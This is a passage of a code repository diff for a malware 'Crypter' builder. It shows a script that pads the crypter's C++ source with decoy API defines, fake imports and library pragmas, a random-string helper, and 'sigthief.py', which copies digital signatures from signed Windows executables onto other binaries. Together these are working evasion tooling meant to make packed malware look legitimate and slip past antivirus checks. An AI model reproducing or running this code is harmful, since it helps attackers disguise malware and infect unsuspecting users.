#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n
|
||||
#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n
|
||||
#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n
|
||||
#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n
|
||||
#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n
|
||||
#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n
|
||||
#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"""
|
||||
|
||||
static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n
|
||||
(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n
|
||||
(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n
|
||||
(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n
|
||||
(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n
|
||||
(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n
|
||||
(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n
|
||||
(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n
|
||||
(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n
|
||||
(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n
|
||||
(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n
|
||||
(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n
|
||||
(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n
|
||||
(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n
|
||||
(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n
|
||||
(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n
|
||||
\r\n
|
||||
DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n
|
||||
\r\n
|
||||
DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n
|
||||
\r\n
|
||||
DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n
|
||||
(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n
|
||||
\r\n"""
|
||||
|
||||
fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n
|
||||
#pragma comment(lib,\"Comdlg32.lib\")\r\n
|
||||
#pragma comment(lib,\"UrlMon.lib\")\r\n
|
||||
#pragma comment(lib,\"Shell32.lib\")\r\n
|
||||
#pragma comment(lib,\"oledlg.lib\")\r\n
|
||||
#pragma comment(lib,\"Ole32.lib\")\r\n
|
||||
#pragma comment(lib,\"AdvApi32.lib\")\r\n
|
||||
#pragma comment(lib,\"WinInet.lib\")\r\n
|
||||
#pragma comment(lib,\"Gdi32.lib\")\r\n
|
||||
#pragma comment(lib,\"WS2_32.lib\")\r\n
|
||||
#pragma comment(lib,\"opengl32.lib\")\r\n"""
|
||||
|
||||
fake_includes = """#include <intrin.h>\r\n
|
||||
#include <Objbase.h>\r\n
|
||||
#include <Callobj.h>\r\n
|
||||
#include <Shellapi.h>\r\n
|
||||
#include <Urlmon.h>\r\n
|
||||
#include <Prsht.h>\r\n
|
||||
#include <Userenv.h>\r\n"""
|
||||
|
||||
if outfile == "../Crypter/main.cpp" :
|
||||
out.insert(0, fake_api)
|
||||
out.insert(0, static_imports)
|
||||
out.insert(0, fake_libs)
|
||||
out.insert(0, fake_includes)
|
||||
o.writelines(out)
|
||||
40
Builder/randomness.py
Normal file
40
Builder/randomness.py
Normal file
@@ -0,0 +1,40 @@
|
||||
import os, string
|
||||
|
||||
def GetRandomBool() :
|
||||
result = os.urandom(3)
|
||||
r= sum(result) < 381.04
|
||||
return r #average
|
||||
|
||||
def GetRandomNumber() :
|
||||
result = os.urandom(4)
|
||||
return int(sum(result))
|
||||
|
||||
def GetRandomRange(a, b):
|
||||
if a > b:
|
||||
a, b = b, a
|
||||
|
||||
range_size = b - a + 1
|
||||
|
||||
num_bits = 0
|
||||
while 2 ** num_bits < range_size:
|
||||
num_bits += 1
|
||||
|
||||
random_binary = [GetRandomBool() for _ in range(num_bits)]
|
||||
|
||||
random_integer = 0
|
||||
for i, bit in enumerate(random_binary):
|
||||
random_integer += bit * (2 ** i)
|
||||
|
||||
mapped_value = a + random_integer
|
||||
if mapped_value > b : return GetRandomRange(a, b)
|
||||
|
||||
return mapped_value
|
||||
|
||||
def GetRandomString(l) :
|
||||
letters = string.ascii_lowercase
|
||||
s = ""
|
||||
while len(s) < l :
|
||||
r = GetRandomRange(0, len(letters)-1)
|
||||
s += letters[r]
|
||||
|
||||
return s
|
||||
2
Builder/requirements.txt
Normal file
2
Builder/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
pillow
|
||||
pywin32
|
||||
268
Builder/sigthief.py
Normal file
268
Builder/sigthief.py
Normal file
@@ -0,0 +1,268 @@
|
||||
#!/usr/bin/env python3
|
||||
# LICENSE: BSD-3
|
||||
# Copyright: Josh Pitts @midnite_runr
|
||||
|
||||
import sys
|
||||
import struct
|
||||
import shutil
|
||||
import io
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
def gather_file_info_win(binary):
|
||||
"""
|
||||
Borrowed from BDF...
|
||||
I could just skip to certLOC... *shrug*
|
||||
"""
|
||||
flItms = {}
|
||||
binary = open(binary, 'rb')
|
||||
binary.seek(int('3C', 16))
|
||||
flItms['buffer'] = 0
|
||||
flItms['JMPtoCodeAddress'] = 0
|
||||
flItms['dis_frm_pehdrs_sectble'] = 248
|
||||
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
|
||||
# Start of COFF
|
||||
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
|
||||
binary.seek(flItms['COFF_Start'])
|
||||
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
|
||||
binary.seek(flItms['COFF_Start'] + 2, 0)
|
||||
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
|
||||
binary.seek(flItms['COFF_Start'] + 16, 0)
|
||||
flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
|
||||
#End of COFF
|
||||
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
|
||||
|
||||
#if flItms['SizeOfOptionalHeader']:
|
||||
#Begin Standard Fields section of Optional Header
|
||||
binary.seek(flItms['OptionalHeader_start'])
|
||||
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
|
||||
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
|
||||
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
|
||||
flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
|
||||
flItms['SizeOfUninitializedData'] = struct.unpack("<I",
|
||||
binary.read(4))[0]
|
||||
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
|
||||
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
|
||||
if flItms['Magic'] != 0x20B:
|
||||
flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
|
||||
# End Standard Fields section of Optional Header
|
||||
# Begin Windows-Specific Fields of Optional Header
|
||||
if flItms['Magic'] == 0x20B:
|
||||
flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
else:
|
||||
flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
|
||||
binary.read(2))[0]
|
||||
flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
|
||||
binary.read(2))[0]
|
||||
flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['SizeOfImageLoc'] = binary.tell()
|
||||
flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
|
||||
flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
|
||||
if flItms['Magic'] == 0x20B:
|
||||
flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
|
||||
else:
|
||||
flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
|
||||
flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
|
||||
# End Windows-Specific Fields of Optional Header
|
||||
# Begin Data Directories of Optional Header
|
||||
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
|
||||
#ImportTable SIZE|LOC
|
||||
flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
|
||||
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
|
||||
flItms['CertTableLOC'] = binary.tell()
|
||||
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
|
||||
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
|
||||
binary.close()
|
||||
return flItms
|
||||
|
||||
|
||||
def copyCert(exe):
|
||||
flItms = gather_file_info_win(exe)
|
||||
|
||||
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
|
||||
# not signed
|
||||
print("Input file Not signed!")
|
||||
sys.exit(-1)
|
||||
|
||||
with open(exe, 'rb') as f:
|
||||
f.seek(flItms['CertLOC'], 0)
|
||||
cert = f.read(flItms['CertSize'])
|
||||
return cert
|
||||
|
||||
|
||||
def writeCert(cert, exe, output):
|
||||
flItms = gather_file_info_win(exe)
|
||||
|
||||
if not output:
|
||||
output = output = str(exe) + "_signed"
|
||||
|
||||
shutil.copy2(exe, output)
|
||||
|
||||
print("Output file: {0}".format(output))
|
||||
|
||||
with open(exe, 'rb') as g:
|
||||
with open(output, 'wb') as f:
|
||||
f.write(g.read())
|
||||
f.seek(0)
|
||||
f.seek(flItms['CertTableLOC'], 0)
|
||||
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
|
||||
f.write(struct.pack("<I", len(cert)))
|
||||
f.seek(0, io.SEEK_END)
|
||||
f.write(cert)
|
||||
|
||||
print("Signature appended. \nFIN.")
|
||||
|
||||
|
||||
def outputCert(exe, output):
|
||||
cert = copyCert(exe)
|
||||
if not output:
|
||||
output = str(exe) + "_sig"
|
||||
|
||||
print("Output file: {0}".format(output))
|
||||
|
||||
open(output, 'wb').write(cert)
|
||||
|
||||
print("Signature ripped. \nFIN.")
|
||||
|
||||
|
||||
def check_sig(exe):
|
||||
flItms = gather_file_info_win(exe)
|
||||
|
||||
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
|
||||
# not signed
|
||||
print("Inputfile Not signed!")
|
||||
else:
|
||||
print("Inputfile is signed!")
|
||||
|
||||
|
||||
def truncate(exe, output):
|
||||
flItms = gather_file_info_win(exe)
|
||||
|
||||
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
|
||||
# not signed
|
||||
print("Inputfile Not signed!")
|
||||
sys.exit(-1)
|
||||
else:
|
||||
print( "Inputfile is signed!")
|
||||
|
||||
if not output:
|
||||
output = str(exe) + "_nosig"
|
||||
|
||||
print("Output file: {0}".format(output))
|
||||
|
||||
shutil.copy2(exe, output)
|
||||
|
||||
with open(output, "r+b") as binary:
|
||||
print('Overwriting certificate table pointer and truncating binary')
|
||||
binary.seek(-flItms['CertSize'], io.SEEK_END)
|
||||
binary.truncate()
|
||||
binary.seek(flItms['CertTableLOC'], 0)
|
||||
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
print("Signature removed. \nFIN.")
|
||||
|
||||
|
||||
def signfile(exe, sigfile, output):
|
||||
flItms = gather_file_info_win(exe)
|
||||
|
||||
cert = open(sigfile, 'rb').read()
|
||||
|
||||
if not output:
|
||||
output = output = str(exe) + "_signed"
|
||||
|
||||
shutil.copy2(exe, output)
|
||||
|
||||
print("Output file: {0}".format(output))
|
||||
|
||||
with open(exe, 'rb') as g:
|
||||
with open(output, 'wb') as f:
|
||||
f.write(g.read())
|
||||
f.seek(0)
|
||||
f.seek(flItms['CertTableLOC'], 0)
|
||||
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
|
||||
f.write(struct.pack("<I", len(cert)))
|
||||
f.seek(0, io.SEEK_END)
|
||||
f.write(cert)
|
||||
print("Signature appended. \nFIN.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
usage = 'usage: %prog [options]'
|
||||
print("\n\n!! New Version available now for Dev Tier Sponsors! Sponsor here: https://github.com/sponsors/secretsquirrel\n\n")
|
||||
parser = OptionParser()
|
||||
parser.add_option("-i", "--file", dest="inputfile",
|
||||
help="input file", metavar="FILE")
|
||||
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
|
||||
help='rip signature off inputfile')
|
||||
parser.add_option('-a', '--add', dest='addsig', action='store_true',
|
||||
help='add signautre to targetfile')
|
||||
parser.add_option('-o', '--output', dest='outputfile',
|
||||
help='output file')
|
||||
parser.add_option('-s', '--sig', dest='sigfile',
|
||||
help='binary signature from disk')
|
||||
parser.add_option('-t', '--target', dest='targetfile',
|
||||
help='file to append signature to')
|
||||
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
|
||||
help='file to check if signed; does not verify signature')
|
||||
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
|
||||
help='truncate signature (i.e. remove sig)')
|
||||
(options, args) = parser.parse_args()
|
||||
|
||||
# rip signature
|
||||
# inputfile and rip to outputfile
|
||||
if options.inputfile and options.ripsig:
|
||||
print("Ripping signature to file!")
|
||||
outputCert(options.inputfile, options.outputfile)
|
||||
sys.exit()
|
||||
|
||||
# copy from one to another
|
||||
# inputfile and rip to targetfile to outputfile
|
||||
if options.inputfile and options.targetfile:
|
||||
cert = copyCert(options.inputfile)
|
||||
writeCert(cert, options.targetfile, options.outputfile)
|
||||
sys.exit()
|
||||
|
||||
# check signature
|
||||
# inputfile
|
||||
if options.inputfile and options.checksig:
|
||||
check_sig(options.inputfile)
|
||||
sys.exit()
|
||||
|
||||
# add sig to target file
|
||||
if options.targetfile and options.sigfile:
|
||||
signfile(options.targetfile, options.sigfile, options.outputfile)
|
||||
sys.exit()
|
||||
|
||||
# truncate
|
||||
if options.inputfile and options.truncate:
|
||||
truncate(options.inputfile, options.outputfile)
|
||||
sys.exit()
|
||||
|
||||
parser.print_help()
|
||||
parser.error("You must do something!")
|
||||
Reference in New Issue
Block a user